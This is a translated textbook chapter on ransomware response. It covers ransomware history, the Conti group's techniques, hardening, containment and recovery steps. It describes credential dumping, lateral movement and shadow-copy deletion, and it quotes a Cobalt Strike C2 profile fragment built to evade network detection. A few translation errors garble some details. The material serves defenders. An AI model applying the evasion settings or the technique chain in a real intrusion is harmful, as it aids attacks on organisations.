数字取证与事件响应(三)
原文:
annas-archive.org/md5/6e10f6c7f0b8273cfd80f246668d8d89译者:飞龙
第十四章:勒索病毒准备与响应
随着加密货币的普及,威胁者拥有了从受害者那里提取赎金的必要工具,而无需担心被捕。这直接促成了勒索病毒的兴起,这是一种攻击方式,威胁者通过部署加密受害者文件的恶意软件并勒索赎金,让受害者支付以解锁文件。过去 10 年来,更加复杂的工具和技术的发展使得勒索病毒攻击影响到政府、大型医疗机构和大企业,所有这一切都是为了从受害者身上榨取最大赎金,丰富各种威胁者。
鉴于勒索病毒的广泛传播,事件响应人员很可能需要应对这些类型的攻击。为了更有效地应对涉及勒索病毒的事件,分析人员应该熟悉相关的战术和技术,以及相应的响应行动,以便在发生攻击时能够迅速恢复运行。
在本章中,我们将重点讨论以下背景要素:
-
勒索病毒的历史
-
Conti 勒索病毒案例研究
-
正确的勒索病毒准备
-
根除与恢复
在打下坚实的基础之后,我们将在下一章中探讨具体的调查与分析技术。
勒索病毒的历史
尽管自 1980 年代末以来就存在加密数据的恶意软件版本,但目前勒索病毒的爆发与加密货币的发展密切相关。加密货币的出现使得勒索病毒威胁者能够匿名发送和接收数字货币,这让他们能够在保持匿名的同时执行攻击并从受害者那里提取赎金。在过去的十年中,这种攻击形式在复杂性上经历了进化,但在一些核心战术、技术和程序(TTPs)方面基本保持一致,比如初始感染、传播勒索病毒以及加密用户文件,目的是为了获取解密密钥的赎金。我们将在下图中简要讨论这一演变中的一些关键变种:
图 14.1 – 勒索病毒简史
CryptoLocker
第一波勒索病毒攻击发生在 2013 年 9 月到 2014 年 5 月之间,使用了CryptoLocker勒索病毒变种。该变种通过恶意电子邮件附件和Gameover ZeuS僵尸网络传播。此勒索病毒变种使用 2048 位 RSA 密钥加密本地文件和映射的网络驱动器。攻击者还会告知受害者他们的文件已被加密,并提供支付赎金的说明。通过执法部门的干预,攻击者被阻止,最终在 2014 年 5 月摧毁了 Gameover ZeuS 僵尸网络。此干预甚至包括对俄罗斯国籍的 Evgeniy Bogachev 的起诉,因其涉嫌参与维护与这些攻击相关的僵尸网络。
CryptoWall
下一个重大变种是CryptoWall,它在 CryptoLocker 变种消失后崭露头角。与 CryptoLocker 类似,这种结合了特洛伊木马和勒索病毒的变种使用 2048 位 RSA 加密算法来加密受害者的文件。该恶意软件的主要传播方式是通过包含 PDF 文档的压缩文件。
CTB-Locker
与 CryptoWall 和 CryptoLocker 变种同时流行的,还有CTB-Locker变种,它也在感染受害者的系统。这个变种主要通过恶意电子邮件附件或伪造下载进行传播,且增加了一些附加功能,如使用洋葱路由(TOR)网络进行命令与控制,并删除感染系统的卷影复制,以阻止恢复。
CTB-Locker 利用的一个附加功能是加盟模式或勒索病毒即服务(RaaS)。在这种模式下,独立的攻击者可以访问勒索病毒和相关工具,以进行攻击,并从他们的赎金中提取一部分支付给运营勒索病毒的攻击者。
TeslaCrypt
虽然大多数勒索病毒会加密各种文件,但TeslaCrypt变种则专门针对与在线游戏相关的文件。TeslaCrypt 的初始版本会加密保存的游戏、玩家档案和游戏修改文件。直到后来的版本,才会加密更多的 Microsoft 文件及其他常见文件。TeslaCrypt 利用了 Angler Adobe Flash 漏洞,通过不对称加密密钥感染系统。最初的版本存在加密方案的缺陷,Cisco Talos 发布了解密工具。2016 年 5 月,TeslaCrypt 的攻击者停止了其操作并释放了解密密钥。
SamSam
SamSam勒索病毒变种起源于伊朗,根据对两名伊朗国民 Faramarz Shahi Savandi 和 Mohammed Mehdi Shah Mansouri 的起诉可以看出。在他们的攻击活动中,SamSam 勒索病毒感染了超过 200 个美国组织,从受害者那里收集了约 600 万美元。攻击利用了远程桌面协议(RDP)或基于 Java 的 Web 服务器的漏洞,成功在受害者的网络中获取初步控制权。之后,攻击者会横向移动,尽可能加密更多系统,使用的是 2048 位 RSA 加密算法。
Locky
勒索病毒攻击者常用的一种策略是利用启用了宏的 Microsoft Word 文档。通过网络钓鱼技术,受害者被诱导打开启用了宏的文档。一旦执行,宏会下载一个特洛伊病毒并加密系统。Locky背后的攻击者利用这种技术对多个受害者造成了巨大影响。使用 RSA 或 AES 加密算法,该恶意病毒可以加密驱动器、可移动驱动器和网络连接的驱动器上的文件。
WannaCry
一个短暂但破坏性极大的攻击,WannaCry是一起影响全球超过 20 万台计算机的高调攻击。此次攻击利用了近期披露的 Eternal Blue 漏洞,利用 Microsoft SMB 服务中的一个漏洞,并通过后门工具DoublePulsar使勒索病毒得以安装并复制到其他系统中。WannaCry 攻击仅持续了几个小时,直到 2017 年 5 月 12 日,安全研究员 Marcus Hutchins 发现了一个杀死开关,防止了进一步的感染。经过进一步研究,美国和英国都将此次攻击归咎于朝鲜政府。
Ryuk
被认为是俄罗斯网络犯罪集团 Wizard Spider 的作品,Ryuk 具有要求 2020 年三大最高支付的独特地位。这表明Ryuk背后的集团将目标瞄准了大型组织,以获取大额赎金。勒索病毒可以关闭 180 个服务和 40 个进程,以确保最大限度地影响受害者的系统。数据使用 AES-256 对称密钥加密,并进一步使用 4,096 位 RSA 密钥加密,使得没有密钥几乎不可能恢复加密的文件。利用 RaaS,Ryuk 使用Download-as-a-Service(DaaS),即恶意软件编码人员通过第三方将勒索病毒传送给目标。
Ryuk 同样使用了更为复杂的多阶段攻击。在这种情况下,会向受害者发送一封钓鱼邮件。一旦附件(如启用宏的 Word 文档)被打开,就会使用一个额外的工具,称为投放器。这些投放器,如 BazarBackdoor 或 Trickbot,通常用于添加额外的命令和控制工具。一旦控制权建立,勒索病毒就会被加载并执行。
Ryuk 与另一个高产的变种 Conti 密切相关。这个变种代表了一种高度复杂的工具,它将过去版本中的勒索病毒变种元素结合成一次极具影响力的攻击。
Conti 勒索病毒案例研究
最具生产力的勒索病毒变种之一是 Conti。Conti 的两个特点使其在威胁行为者中脱颖而出。第一个特点是 Conti 是一个 RaaS(勒索软件即服务)威胁行为者。这种类型的威胁行为者使用一种加盟模式,在黑客论坛上寻找高度熟练的招募人员。从那里,他们会获得执行初始阶段所需的工具和技术:攻击并部署勒索病毒。Conti 变种的原始编码人员随后会获得 10%到 30%不等的赎金作为报酬。
第二个特点是,Conti 的加盟者通常会在加密文件的同时窃取数据。然后,这些数据会被“劫持”,用于勒索。如果受害组织未能及时支付赎金,数据将被公开。Conti 的加盟者甚至能够在互联网和暗网上使用一个网站发布这些数据。
在被关闭之前,Conti 变种及其加盟团体使用了多种多样的工具和技术,成为研究勒索软件威胁行为者操作模式的一个优秀案例。在这个案例中,我们将首先研究该加盟团体的背景、披露内容以及该团体及其加盟者在攻击中使用的 TTP(战术、技术和程序)。
背景
RaaS 模型首次出现在 2019 年 12 月。Conti 这个名字指的是所使用的特定恶意软件变种,通常与威胁行为者 Wizard Spider 开发的 Trickbot 木马一起部署。这个团体首次出现在 2016 年 9 月,据信其总部位于俄罗斯,是一个技术先进、以财务为驱动的威胁行为者。
在运作期间,与 Conti 相关的 RaaS 威胁行为者攻击了包括政府和大型企业在内的多种组织。即便在 COVID-19 大流行期间,加盟团体仍然对 16 个不同的医疗或急救网络发动攻击。这些攻击中的一些勒索金额高达 2500 万美元。
Conti 所使用的加盟模型的一个关键特点是组织内部的精细任务分工。有专门的团队负责初步访问的技术环节,然后将剩余的工作交给其他团队处理。还有专门的团队负责与受害者组织进行勒索软件谈判。
Conti 还通过向攻击中加入额外的勒索元素,进一步提升了原本就非常盈利的勒索软件威胁。Conti 在公开互联网和暗网中设置了多个网站,威胁称如果受害者不满足其要求,他们将公开泄露被窃取的数据。这样做是为了迫使受害者支付赎金,不仅是为了恢复数据解密,还为了避免公共披露带来的尴尬:
图 14.2 – Conti 披露网站
在同一个网站上,Conti 行为者还威胁对 2022 年俄乌战争危机进行报复。此声明之后,该团体对乌克兰的目标进行了更多攻击。主要的不同点是,这些攻击针对的是政府网络和关键基础设施,而不再是单纯的勒索目的。
图 14.3 – Conti 乌克兰响应
在短短 2 年的运营中,Conti 及其附属机构已经成为政府、医疗、关键基础设施以及大公司等组织的重大威胁。它们的精密任务分工和技术能力使其成为潜在未来威胁行为者的模仿对象。鉴于此,当该组织在 2022 年 5 月停止运营并关闭其基础设施,包括其披露网站时,许多人感到意外。附属成员随后加入了其他团体。一项事件可能加速了该组织的解散,那就是一个附属成员披露了内部文件和工具。
操作披露
2021 年 8 月 5 日,一位用户名为m1Geelka的用户在俄罗斯语言的网络安全论坛xss.is上发布了 Conti 勒索软件组及其附属机构使用的技术和操作手册。该用户提供了一个链接,供有权限访问论坛的任何人下载手册和软件,该链接指向一个文件共享网站。此帖很快被删除,但对于安全研究人员来说,这是一次关于该组操作的重磅数据和情报收获:
图 14.4 – Conti 披露
这些披露内容目前仍然可以在share.vx-underground.org/Conti/访问,包含了 2022 年 2 月和 3 月 Conti 组 TTPs(战术、技术和程序)更新的附加披露。例如,披露的文件中包含了使用 Cobalt Strike 等工具的屏幕截图,如下所示:
图 14.5 – Conti 使用 Cobalt Strike
这些披露内容包括了该组织运营和方法的其他关键细节。包括了聊天记录、源代码以及与工具使用相关的手册。此次披露的独特之处在于几乎完整呈现了威胁行为者及其附属机构的操作方法和工具。通过这些数据,我们可以清楚地看到一个复杂的勒索软件组织可能采用的具体战术和技术,从而更好地准备防御和检测它们。
战术和技术
Conti 的附属人员采用多种策略和技术。在本节中,我们将探讨其中一些更常见的策略和技术,因为这些策略与附属人员及其他勒索病毒威胁行为者使用的策略有很大的重叠。要完整了解与 Conti 勒索病毒变种相关的 TTPs,请参考 MITRE ATT&CK 配置文件:attack.mitre.org/software/S0575/。有关实际 Conti 勒索病毒攻击活动的背景,网络安全和基础设施局(CISA)发布了关于 Conti 威胁行为者的咨询报告,并详细列出了在超过千次攻击中观察到的 MITRE ATT&CK 战术:www.cisa.gov/uscert/sites/default/files/publications/AA21-265A-Conti_Ransomware_TLP_WHITE.pdf。
初始访问
Conti 主要采用的方式是鱼叉式钓鱼攻击 [T1566.001]或邮件中包含的恶意链接 [1566.002]。这些邮件通常会包含一个启用了宏的 Microsoft Word 文档,文件名故意设置为吸引用户打开附件。在其他案例中,Conti 附属人员已知使用被泄露的凭据通过启用 RDP 的互联网暴露系统进行连接。这样,他们可以在不发送钓鱼邮件的情况下,在网络内建立立足点。
其他附属人员使用伪装电话,他们假装是帮助台人员,诱使用户下载远程访问软件,如 GoToAssist。然后,攻击者可以植入恶意软件或其他工具,开始后续的操作。
执行
一旦启用了宏的 Word 文档被打开,宏通常会执行一个 Windows PowerShell 脚本,以执行**命令和脚本解释器:PowerShell [T1059.001]**技术。这个脚本常用于下载二级有效载荷,通常是像 Trickbot、Qbot 或 Bazar 这样的 RAT。这样就建立了对受害者网络的初步控制。
执行恶意软件需要使用几种方法。Conti 附属人员常用的一种技术是将 RAT 嵌入 DLL 文件中。该文件将被放置在一个目录中。然后,使用 Windows rundll32.exe 可执行文件来执行 RAT,这种方法称为系统二进制代理执行:Rundll32 [T1218.011]。即便许多 EDR 工具可以检测到此类行为,这种技术在实际环境中仍然存在。
在这里,我们将开始查看工具 Cobalt Strike。这个工具常出现在勒索软件事件中,并且通常与 Conti 有关。Cobalt Strike 是一款商业化的后期利用工具,具有广泛的功能,能够在一个集成系统中执行各种操作。Cobalt Strike 还包括其他常见的后期利用框架,如 Metasploit 和后期利用工具如 Mimikatz,可用于各种凭证威胁和滥用攻击。该工具的整体外观和操作感受类似于 Armitage,如下图所示:
图 14.6 – Cobalt Strike 图形用户界面
Cobalt Strike 通常会在此攻击阶段与 RAT 一起执行,或者代替 RAT 执行。
权限提升
Wizard Spider 被观察到在一次被称为 进程注入:动态链接库注入 [T1055.001] 的攻击中,将恶意 DLL 文件注入现有或正在运行的进程。在此技术中,攻击者可以将任意代码注入到正在运行的进程中。这使得攻击者能够执行恶意代码并绕过检测。根据写入的进程,恶意代码可能还会以提升的权限运行。
防御规避
现代的杀毒软件和 EDR 解决方案在检测恶意软件、漏洞利用和其他恶意活动方面变得更加高效。勒索软件威胁演员,如 Conti,采用各种方法确保不被检测和阻止。除了进程注入外,Cobalt Strike 平台还具有额外的功能,允许威胁演员保持隐蔽。例如,该工具通过哈希化 Windows API 调用,使用 混淆文件或信息 [T1027] 技术,使得杀毒软件或 EDR 工具无法识别与 Cobalt Strike 使用相关的任何可疑 API 调用。
另外一个常见的防御规避策略,不仅在 Conti 中观察到,在许多勒索软件威胁演员中也有广泛使用,就是利用 Base64 编码 PowerShell 脚本。此策略通过不将具体命令写入存储来提供一种混淆手段。相反,它依赖 PowerShell 解码并执行命令。例如,以下 Windows 事件日志条目展示了 Base64 编码的脚本:
图 14.7 – Base64 编码的 PowerShell 脚本
凭证访问
获取或创建具有提升权限的有效凭证,对于勒索软件攻击的横向移动组件至关重要。Conti 利用几种不同的工具和技术来获取凭证。第一种是使用 Sysinternals 工具 procdump.exe。该工具在 操作系统凭证转储:LSASS 内存 [T1003.001] 技术中被使用,用于转储 本地安全认证子系统服务(LSASS),该服务包含 Windows 操作系统的凭证。
Conti 还使用了后渗透工具 Mimikatz,执行类似 Windows Sysinternals 工具procdump.exe的操作。该二进制文件和相关文件可在 GitHub 上找到:github.com/ParrotSec/mimikatz。Mimikatz 还可以获取系统上用户和管理员账户的明文密码,如下图所示:
图 14.8 – Mimikatz
Mimikatz 还可以获取 Kerberos 票证,以及其他功能,以获得有效的凭证。像 Metasploit 和 Cobalt Strike 这样的后渗透框架包括 Mimikatz。
发现
一旦建立了立足点,像 Conti 这样的勒索软件攻击者需要绘制内部网络图,以确定影响尽可能多系统的最佳方式。在某些情况下,这包括运行命令行工具如net localgroup。已知 Conti 使用 Cobalt Strike 中的网络发现功能。最后,对于更复杂的网络,可以使用 Active Directory 映射工具 Bloodhound,下载地址:github.com/BloodHoundAD/BloodHound。该工具不仅能绘制网络图,还能提供可视化图表,进而可能为最佳攻击路径提供见解。
横向移动
在执行这一战术之前,恶意活动通常只限于少数已被初步执行 RAT 或通过其他工具被攻陷的系统。发现后的下一阶段是横向移动。这时,Conti 的攻击者试图攻陷尽可能多的系统,以便勒索软件的影响足以迫使受害者支付赎金。
勒索软件的横向移动在很大程度上依赖于拥有凭证的访问权限,通常是具有提升权限的凭证,这使得可以通过服务器消息块(SMB)或 RDP 进行远程访问。对于 SMB,特定的技术被称为远程服务:SMB/Windows 管理员共享 [T1021.002]。在这一技术中,攻击者通常使用 Windows Sysinternals 工具 PsExec 连接到并写入 ADMIN$网络共享。然后,他们能够执行额外的命令或传输恶意工具和可执行文件。
另一种常用的技术是远程服务:远程桌面协议 [1021.001]。在这种情况下,Conti 可以利用 Cobalt Strike 的虚拟网络计算(VNC)功能连接到运行 RDP 的其他系统。从这里,他们可以执行额外的命令或在新被攻陷的系统上放置其他工具。
这些技术的一个方面是,它们依赖于拥有合法管理员级别凭证的访问权限。
命令与控制
Cobalt Strike 后期利用工具的一个关键组成部分是其定制指挥与控制基础设施的能力。该工具使用由威胁行为者配置的监听器。威胁行为者可以配置监听器,使用多种 TCP 和 UDP 协议,如 DNS、HTTP 和 HTTPS。
除了监听器,威胁行为者还可以配置一组可修改的 C2 配置文件。这些配置文件使威胁行为者能够模糊化 C2 流量,以绕过入侵检测或入侵防御系统等检测机制。例如,下面这一段可修改的配置文件来自 github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/amazon.profile。在该配置文件中,C2 流量被设计成模拟正常的 HTTP 流量。值得检查的一个特定部分如下:
set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";
在配置文件的这一部分,已经配置了各种设置。第一个是睡眠时间,这是 C2 信标向外部 C2 系统发送指令时的间隔(以秒为单位)。为了绕过 IDS 系统对这种信标行为的检测,设置了一个抖动时间。这是一个随机时间,可以通过增加或减少睡眠时间来随机化信标活动。另一个关键数据是用户代理,配置文件使用它来使连接看起来像是一个 web 浏览器发起的。随意检查任何网络流量都会显示该用户代理字符串。
这些可修改的配置文件是公开可用的,并使 Cobalt Strike 能够伪装成合法的流量。在一个小型网络中,Cobalt Strike 系统与受害系统之间的流量会与所有其他在网络进出口点传输的流量混合在一起。
数据泄露
Conti 与其他早期组织或攻击活动的主要区别之一就是数据盗窃和加密。在这种情况下,Conti 使用了 WinSCP 或 PuTTY 等常见工具,通过 安全文件传输协议(SFTP)或简单的 HTTPS 技术 Web 服务数据泄露 [T1567] 来发送聚合数据。
影响
Conti 组与 Conti 勒索病毒相关,该勒索病毒会根据 MITRE ATT&CK 技术 CreateIoCompletionPort()、PostQueuedCompletionStatus() 和 GetQueuedCompletionPort() 加密感染系统上的数据,使用一个与 RSA-4096 公钥配对的 AES-256 加密密钥来加密文件。Conti 变种的一个独特特征是它会跳过 .exe、.dll 和 .lnk 文件,并且不会加密它们。
Conti 还可以通过停止 146 个独立的 Windows 操作系统服务或进程,执行**Service Stop [1489]**技术。这些服务与备份和安全工具相关联。这样,勒索软件就能正常执行,并且消除了受害者利用备份进行数据库或其他恢复的能力。
最后,Conti 勒索软件可以使用vssadmin命令。再次强调,这会删除受害者在加密过程后恢复系统的能力。本质上,如果 Conti 成功执行,它几乎肯定会加密所有文件,只有少数文件除外,导致系统无法使用。
适当的勒索软件准备
勒索软件攻击对企业造成的破坏是毁灭性的。除了自然灾害,没有多少事件能像勒索软件攻击那样产生如此大的影响。虽然旨在获取机密数据的 APT 类型网络入侵也非常严重,但它们通常不会加密整个网络,尤其是当入侵者试图保持一定的隐蔽性,以便入侵不被察觉时。
在为勒索软件攻击做准备时,组织应关注两个具体领域。首先,确保网络和端点对勒索软件攻击的影响具有韧性。此方法的前提是假设威胁行为者可能会访问系统,但适当的准备将使他们在从初始立足点进一步攻击时,几乎没有工具或方法。第二个准备步骤是确保 CSIRT 团队熟悉勒索软件威胁行为者的 TTP(战术、技术和程序),并准备应对隔离和清除网络中的威胁行为者的挑战。
勒索软件韧性
对抗勒索软件的韧性意味着我们承认这一威胁的存在,并且至少有机会在端点阻止攻击。如果这样做无效,组织可以限制勒索软件的蔓延及其相关影响,确保只有少数选定的系统受到影响,从而使正常操作得以继续。勒索软件韧性策略应包括以下内容:
-
使用
rundll32.exe执行恶意代码。尽管 PowerShell 或rundll32.exe的使用本身并不具恶意,但通过命令行运行 DLL 文件或 Base64 编码的 PowerShell 通常表明存在恶意行为。 -
系统卫生:正如我们在 Conti 勒索软件概述中看到的,该团伙通常会利用 Windows Sysinternals 工具作为整体攻击的一部分。再加上使用本地管理员账户,单一系统的妥协可能会带来重大风险。系统管理员应确保部署的端点仅限于必要的工具。移除 RDP 访问、本地管理员账户以及像 ProcDump 或 PsExec 这样的工具,可以使横向移动和感染其他系统变得更加困难。
有几个行业公认的系统加固标准,例如安全技术实施指南(STIGs),提供了如何配置和加固各种系统的详细信息。还有其他指南可以参考。每个组织必须根据其风险来决定并应用适当的加固措施。无论系统如何加固,整体目标都是使威胁行为者在网络中进行操作变得更加困难。
- 网络拓扑:关于影响整个网络的勒索软件攻击,一个突出的方面是“扁平”网络拓扑。在这种拓扑中,所有系统都可以与其他系统通信。例如,支付账款的局域网段就能与研发部门的系统进行通信,尽管这些系统之间并没有必要相互通信。简而言之,扁平网络允许勒索软件威胁行为者使用被攻破的凭证和他们选择的工具,在整个企业范围内传播。
解决方案是像造船工设计集装箱船那样构建网络拓扑。在水线以下,船体有防水舱,以便如果船体受损,水只能进入那个舱室,从而保持船只浮在水面上。网络拓扑应当以类似的方式工作,其中不同的局域网段通信仅限于必要的交流。网络分段的做法创造了特定的“防水”舱室,限制了威胁行为者横向移动的能力。
-
多因素认证:远程访问是管理即使是小型企业网络时的关键组成部分。然而,问题在于,威胁行为者通常会利用这些方式来传播勒索软件。建议实施多因素认证(MFA)机制,以限制威胁行为者在能够突破管理员账户的情况下横向移动的能力。
-
安全备份:作为勒索软件威胁不断发展的一个方面,我们已经看到像 Conti 这样的团体干扰组织从勒索软件攻击中恢复的能力。在 Conti 的案例中,这包括从已感染的系统中移除卷影复制。其他团体甚至更进一步,进行网络发现,寻找连接网络的存储区域网络(SAN),并加密其中的备份,实际上使组织无法恢复备份。因此,组织应该评估其备份策略,并可能使用离线备份或符合恢复点和恢复时间目标的云解决方案。
准备 CSIRT
有一些额外的步骤与勒索软件相关,应该包含在任何事件响应计划或行动手册中。以下是应对勒索软件时的一些关键考虑因素:
-
快速隔离或封锁:勒索软件带来的最大风险是它传播的速度。攻击者可能仅需几小时就能完成他们的目标。为应对这一点,事件响应人员应确保能够快速在关键技术如路由器、交换机和防火墙上执行隔离操作。快速隔离的障碍在于需要在行动之前与领导层确认决策。这会增加隔离攻击所需的时间。最佳的做法是,在事件发生之前讨论在何种情况下网络或安全团队将切断网络段或互联网之间的通信,这样他们便有权限采取措施遏制攻击。
-
保持对 TTP 的更新:勒索软件攻击者会不断改变他们的 TTP(战术、技术和程序),以保持领先于现代企业中的预防和侦测技术。这些变化有时可能是微妙的,有时则会表现为显著的变化。在任何情况下,威胁情报来源对于理解威胁、攻击者如何操作以及如何最好地调整预防和侦测控制措施至关重要。
-
桌面演练:最后,事件响应人员可以采取的具体行动之一是为技术团队和领导层设计并组织一个桌面演练(TTX),该演练将涵盖整个事件生命周期,以确保各个单位协调一致,并在事件发生前做出关键决策。这确保了在实际事件中执行的行动是预先计划好的,从而可以减少做出关键决策所需的时间,进而降低事件的影响。
根除与恢复
如果勒索软件攻击在组织中成功,重要的是要有一个预案,尽快将组织恢复正常运行。此外,正如我们所看到的,这些攻击非常复杂,涉及到深层嵌入操作系统的复杂恶意软件。这使得确保网络中彻底清除威胁变得困难。因此,有一些特定的方法可以隔离、根除并从勒索软件事件中恢复,从而确保最好的结果。
隔离
隔离勒索软件事件涉及两个主要行动。第一个是切断对被攻击系统的 C2(指挥与控制)能力。攻击者通常使用商业和开源工具的组合,如 Cobalt Strike 或 Metasploit,这些工具采用各种连接类型。初步调查的目标是检查系统,以确定 C2 基础设施和通信的性质,从而加以封锁。
第二个主要措施是切断对手横向移动或感染其他系统的能力。勒索软件攻击的关键特征是对手的目标是尽可能感染更多的系统,从而增加受害者支付赎金的可能性。
防火墙规则
对于未被局域网段包含且有可能导致整个企业受损的事件,考虑使用一个防火墙规则来切断所有互联网连接,直到识别出指挥与控制机制及其相关指标,并能够配置更具针对性的防火墙规则集。这种类型的遏制策略的明显挑战是关键系统将受到不利影响。每个情况都不同,应该在采取这一步骤之前评估具体情况。
禁用 SMB 通信
对手通常会在 Windows 企业环境中利用 SMB 功能。遏制勒索软件事件需要移除此功能。例如,如果启用了 SMBv1,你应当在整个企业中永久禁用它。如果警报或初步调查显示该协议正在被用于横向移动,你应该暂时禁用 SMBv2/v3。微软建议不永久禁用 SMB v2/3。有关更多微软的指导,请访问 support.microsoft.com/en-us/help/2696547/detect-enable-disable-smbv1-smbv2-smbv3-in-windows-and-windows-server。
禁用管理员共享
网络利用和勒索软件攻击的另一个目标是查找和访问网络管理共享。Fortalice Solutions 建议阻止管理员共享,因为对手经常利用这些共享来传播文件,或用作脚本或命令的来源:
-
选项 1:要阻止管理员共享,推荐的解决方案是推出一个 GPO 偏好设置,应用到计算机上以编辑注册表:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
在此创建一个新的 DWORD 值,命名为 AutoShareWks,并将值数据设置为零。这可能需要你重新启动主机。欲了解更多信息,以下博客提供了关于注册表值更改的额外指导和示例:winaero.com/blog/disable-administrative-shares-in-windows-10-windows-8-and-windows-7/。
-
选项 2:从 Windows 命令行输入以下内容:
for %i in (C$ IPC$ ADMIN$) do net share %i /delete OR net stop LanmanServer
禁用管理员共享可能会带来一些不利影响。以下博客文章提供了缺少管理员共享时可能出现的问题的指导:support.microsoft.com/en-us/help/842715/overview-of-problems-that-may-occur-when-administrative-shares-are-missing。
限制 PowerShell 使用
对手通常会利用 PowerShell 作为交付勒索软件的一部分。像 PowerSploit 这样的工具被配置为利用 PowerShell 进行企业范围内的各种操作。如果由于依赖的第三方应用程序,必须在环境中启用 PowerShell,请确保禁用旧版 PowerShell v2,因为它允许绕过受限语言模式并绕过反恶意软件扫描 接口(AMSI)。
限制远程访问
远程访问应用程序,如 RDP,应在事件得到控制或 MFA 解决方案到位之前禁用。RDP 可以通过 GPO 进行禁用。在这一点上,事件响应人员常常会提出一个问题,即在事件期间禁用 RDP 可能会影响他们获取证据的能力。虽然这种担忧是有一定道理的,但保持 RDP 启用的真正影响可能是相当严重的。这时,远程证据捕获工具和技术就显得尤为关键——它可以让响应人员在阻止攻击者访问其他系统的同时,也能够收集必要的证据。
根除
根除是指将威胁行为者从网络中移除。这包括移除威胁行为者植入的任何恶意软件、使用的任何附加工具以及任何可能已被泄露的凭证。虽然这一概念看似简单,但现代勒索软件攻击的现实是,它们使用多种持久化机制确保威胁行为者能够继续访问。此外,系统上的许多数据已经被加密。
响应人员面临的挑战是,在没有完全和深入的调查情况下,很难确定威胁行为者能够侵入系统的深度。例如,与勒索软件攻击相关的 RATs(远程访问木马)可能会在计划任务中设置持久化机制,或者在注册表中植入脚本以便在每次启动时执行。完全反向工程恶意软件可以提供这些数据,但最佳选项是从头开始。
从感染的系统中移除威胁行为者通常需要从受信任的金镜像或已知的良好镜像中进行完全重建。开始这一过程的最佳地方是业务连续性计划(BCP)或业务恢复计划(BRP)。该计划概述了如何从备份中重建系统或重新制作镜像并重新部署。
恢复
应仔细执行恢复操作,以确保感染系统不会重新引入网络。如果有足够的证据,应在进入恢复阶段之前进行全面的根本原因分析(RCA)。这确保发现并能够根据过程修正威胁行动者利用的所有漏洞或系统配置。此外,只有在经过更新并包含在事件中定位的 IOC 的适当安全控制的清洁安全工具扫描后,才应重新引入系统。
恢复操作可以分为两大类。其中之一是根除和重新部署系统到企业架构。在第二章中,我们讨论了从事故中恢复所需的架构。
恢复网络架构
在第二章中,我们审查了一个从事故中恢复的示例恢复架构。以下是对此恢复方法的更详细和技术上的审查,专门针对勒索软件:
-
配置三个单独的虚拟本地区域网络(VLANs):
-
感染 VLAN:这是所有感染系统托管的网络。在大量系统感染的情况下,这可以是生产网络。理想情况下,这应配置为一个单独的网络。
-
分期 VLAN:这个 VLAN 用于事故分类、重新映像、打补丁、安装安全工具和准备重新部署:
-
互联网应仅用于事故分类、重新映像、软件更新和安全技术更新
-
可能启用 PXE 引导以进行重新映像
-
启用所有安全工具,如主机入侵检测、防病毒软件或终端检测和响应,以检测和隔离任何潜在的恶意软件或攻击
-
在清洁它们之前监视系统以防止重新感染
-
-
清洁 VLAN:
-
一个完全新的网络,与“脏”或“分期”VLAN 没有连接
-
这可能涉及到一个新的本地域
-
只有在证明清洁后才将系统移至此处
-
-
如果域控制器已被攻击,应从头开始构建新的域控制器,并部署一个已知的好备份。
企业密码重置
许多勒索软件攻击将影响域控制器以及其他系统。如果威胁行动者能够识别域控制器并能够破坏包含整个企业凭据的NTDS.DIT文件,则将必须使用以下过程进行全局密码重置:
-
更改所有高度特权组中账户的密码。
-
两次滚动 KRBGT(docs.microsoft.com/en-us/windo…
-
更改内置本地管理员密码并可能拒绝远程登录:
- 使用微软的本地管理员密码解决方案(LAPS)随机化每个终端的本地管理员密码,防止横向移动,并在需要时将其存储在 Active Directory 中。
-
强制所有普通用户账户在下次登录时更改密码。
-
禁用 Windows 操作系统在任何不需要凭证的设备上缓存凭证的功能(
docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-do-not-allow-storage-of-passwords-and-credentials-for-network-authentication)。
远程访问 MFA
强烈建议任何访问连接到内部网络的系统的远程访问启用多因素认证(MFA)。攻击者继续利用合法凭证并访问仅依赖单一身份验证因素的远程系统。
增强的日志记录
当系统重新部署时,应增加监控。这将提高识别任何可能已被攻击并未正确恢复的系统的可能性,从而在造成重大影响之前发现它们。以下是一些需要转发到 SIEM 或其他日志管理解决方案的重要 Windows 事件和系统日志的附加监控步骤:
-
在可能的情况下部署 Sysmon(特别是在域控制器或关键系统上)。
-
启用安全事件日志 – 允许连接和绑定到端口(5156, 5158 事件 ID)。
-
启用安全事件日志 – IPC$ 连接(5140, 5145 事件 ID)。
-
确保所有系统已部署 PowerShell 版本 5。PowerShell 版本 5 支持增强日志记录,有助于识别 PowerShell 滥用。日志记录需要通过组策略配置以下设置:
-
开启模块日志记录:已启用。
-
开启 PowerShell 脚本块日志记录:已启用。
-
开启脚本执行:未配置。
-
开启 PowerShell 转录:已启用。
-
设置 Update-Help 的默认源路径:未配置。
-
本地日志保留需要配置,以确保每台服务器至少保留 90 天的日志。日志应立即转发到集中式日志存储系统,以便进行长期保留和分析。
-
显然,恢复是一个关键组成部分,组织可能希望尽快完成这一过程。话虽如此,恢复过程必须是系统化的,并考虑到威胁。如果在 TTX 中没有按流程走恢复步骤,或者急于完成过程,会增加将仍然感染的系统重新引入网络的风险,从而导致勒索病毒攻击再次发生。
摘要
勒索软件是一种我们在可预见的未来都会面临的威胁。本章中,我们回顾了勒索软件的历史、威胁行为者如 Conti 常用的 TTP(战术、技术和程序)、如何将我们的事件响应与这一威胁对接,以及如何遏制、消除并从中恢复。了解这些 TTP 可以帮助我们更好地检测和预防此类攻击。理解响应要素使我们能够做出适当的反应,并限制其影响。
在下一章中,我们将探讨具体的调查和分析技术。
问题
回答以下问题,以测试你对本章内容的掌握:
-
哪个威胁行为者与 Ryuk 和 Conti 相关?
-
AtomicSquirrel
-
BadWitch
-
Wizard Spider
-
BlackEnergy
-
-
在域控制器遭到破坏的情况下,执行全局密码重置非常重要。
-
正确
-
错误
-
-
推动勒索软件的关键组件是什么?
-
常见的远程访问木马(RAT)
-
加密货币
-
商业渗透测试工具
-
不良的安全卫生
-
-
以下哪项可以抑制威胁行为者的横向移动?
-
MFA
-
限制 RDP
-
限制 SMB
-
上述所有内容
-
深入阅读
请参考以下资源,了解本章涵盖的更多内容:
-
